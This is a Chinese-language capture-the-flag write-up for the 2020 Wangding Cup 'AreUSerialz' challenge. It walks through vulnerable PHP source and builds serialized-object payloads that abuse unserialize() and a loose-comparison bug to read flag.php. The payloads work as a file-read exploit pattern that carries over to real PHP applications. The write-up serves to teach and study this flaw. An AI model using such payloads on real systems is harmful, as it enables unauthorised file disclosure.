[网鼎杯 2020 青龙组]AreUSerialz 题解


打开题目依旧是源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

简单分析下,目的似乎是要我们触发file_get_contents()函数。看下FileHandler类的实现,file_get_contents()函数在read方法中,要进入到read方法只能先进入process方法,要进入process方法需要通过构造函数或析构函数。

我们来看下process方法的实现:

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

进入read方法只需要满足$this->op == "2",那么这下就简单了:在本地构造一个符合要求的FileHandler的对象,上传,然后就能触发file_get_contents()函数了。

我们来看下如何实现:

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

在本地构造FileHandler的对象实例后进行序列化,GET传参给$str,接下来的unserialize()函数会触发FileHandler类中的构造方法,进而触发file_get_contents()函数。

不过这里有一个问题:FileHandler类中$op等三个变量的权限都是protected,序列化后会产生不可见字符,ASCii码值为0,无法通过is_valid()函数的检测。我们可以在本地修改变量的权限,改为public即可,这样序列化后就不会有不可见字符了。

构造函数中未使用$this关键字,我们本地化给出的值不会被函数中的值干扰,不过构造payload试了下,不知为何通过构造函数进入的process方法,进不去read方法

?str=O:11:"FileHandler":3:{s:2:"op";i:1;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

那只好通过尝试通过析构函数来进入了:发现存在if($this->op === "2") $this->op = "1";这个判断,而我们要满足满足$this->op == "2"来触发file_get_contents()函数,这不是矛盾吗?

注意观察,read方法中的$this->op == "2"是弱类型比较,在php中若字符串和数字进行弱类型比较,字符串会自动转换为数字类。利用这个特性,我们构造op=2,可以避开析构函数中的强类型比较,来满足read方法中的弱类型比较,最终触发file_get_contents()函数得到flag。

于是构造payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

以上

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - [网鼎杯 2020 青龙组]AreUSerialz 题解


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.